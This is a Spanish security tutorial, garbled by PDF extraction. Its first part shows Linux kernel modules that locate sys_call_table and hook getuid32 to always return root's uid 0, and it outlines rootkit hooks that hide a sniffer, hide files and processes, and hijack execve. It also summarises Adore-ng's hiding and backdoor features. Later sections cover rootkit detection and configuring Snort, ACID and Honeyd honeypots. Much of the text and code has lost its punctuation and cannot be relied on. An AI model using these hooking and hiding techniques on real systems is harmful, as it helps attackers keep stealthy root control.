Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario

Kernel hacks y seguridad JMP

Resumiendo

Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)

El hack

Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma

usrsrclinuxarchi386kernelentryS

Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo

system call handler stub

1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw

$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)

6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]

He omitido algunos comentario del fichero y demaacutes por brevedad

Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar

Esto es parte de su contenido

Kernel hacks y seguridad JMP

data ENTRY(sys_call_table)

long sys_restart_syscall 0 - old setup() system call

long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve

long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek

long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access

long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall

y continuacutea

used for restarting

5

10

15

old break syscall holder

20

25

30 old stty syscall holder old gtty syscall holder

35 - old ftime syscall holder

40

old prof syscall holder 45

50

recycled never used phys() old lock syscall holder

Kernel hacks y seguridad JMP

Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente

Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos

Procedo a usar GDB para desensamblar el fichero como muestro en la figura

Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table

Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump

objdump -d entryo|grep ff 14 85

Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos

El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero

Kernel hacks y seguridad JMP

Obtenemos la sys_call_table[] en kernels de la serie 26 test

include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct

unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2

__attribute__ ((packed)) idt

IDTR struct

unsigned short limit unsigned int base

__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)

return 0 el hack static void syscalltable(void)

unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))

printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]

memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn

verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))

i++ sys_call_table =(void) ((int ) ampsccall[i+3])

printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P

Kernel hacks y seguridad JMP

empieza static int __init buscarsct(void)

printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)

syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]

sys_call_table[__NR_getuid32]=cero_uidreturn 0

lo ponemos todo en orden static void __exit descarga(void)

sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)

module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])

Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores

81- Otra alternativa iquestmaacutes sencilla

Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos

No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno

La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora

Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos

usrsrclinuxincludeasm $ vim processorh

Kernel hacks y seguridad JMP

1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la

Sys_call_table[])

Kernel hacks y seguridad JMP

Imagen conceptual del proceso

Kernel hacks y seguridad JMP

9- Hooks y hacks de intereacutes (algunas ideas)

Algunas cosas que podemos hacer en el Kernel

Ocultar un sniffer

Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos

Ocultar ficheros y procesos

iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )

Manipular execve()

Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno

usrsrclinuxincludeasm $ vim unistdh

En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute

Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original

Kernel hacks y seguridad JMP

inicio

int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)

0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))

__syscall_return(long__res)

final

Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM

10- Rootkits visioacuten general

Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host

Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red

De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas

Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute

Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros

Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad

Kernel hacks y seguridad JMP

Ejemplo de un rootkit moderno ldquoAdore-ngrdquo

Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso

Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente

Runs on kernel 24x UP and SMP systems

First test-versions successfully run on 260

File and directory hiding

Process hiding

Socket-hiding (no matter whether LISTENing CONNECTED etc)

Full-capability back door

Does not utilize sys_call_table but VFS layer

KISS principle to have as less things in there as possible but also being as much powerful as possible

Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y

Kernel hacks y seguridad JMP

carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore

La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes

Adore ~034 SucKIT Adore-ng gt=131

Interceptando el flujo de ejecucioacuten

Syscalltable Syscall handler VFS

Transferencia coacutedigo dentro del Kernel

LKM Acceso directo (raw shycrudo) a memoria

LKM

Incluye puerta trasera - Siacute -

Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs

Tabla Comparativa de algunos rootkits

Medidas de proteccioacuten y deteccioacuten de rootkits

Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas

Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten

Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap

linux head Systemmap

00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt

Kernel hacks y seguridad JMP

Otros meacutetodos tiacutepicos

Checksums de ficheros importantes (tripwire aide etc)

Backup de las estructuras centrales del kernel (kstat)

LKMs anti-rootkit

Herramientas forenses (TCT)

Analisis de logs etc

Utilidades para la deteccioacuten (rkhunter chkrootkit)

Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas

httpwwwchkrootkitorg

httpwwwrootkitorg

Conclusiones

Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

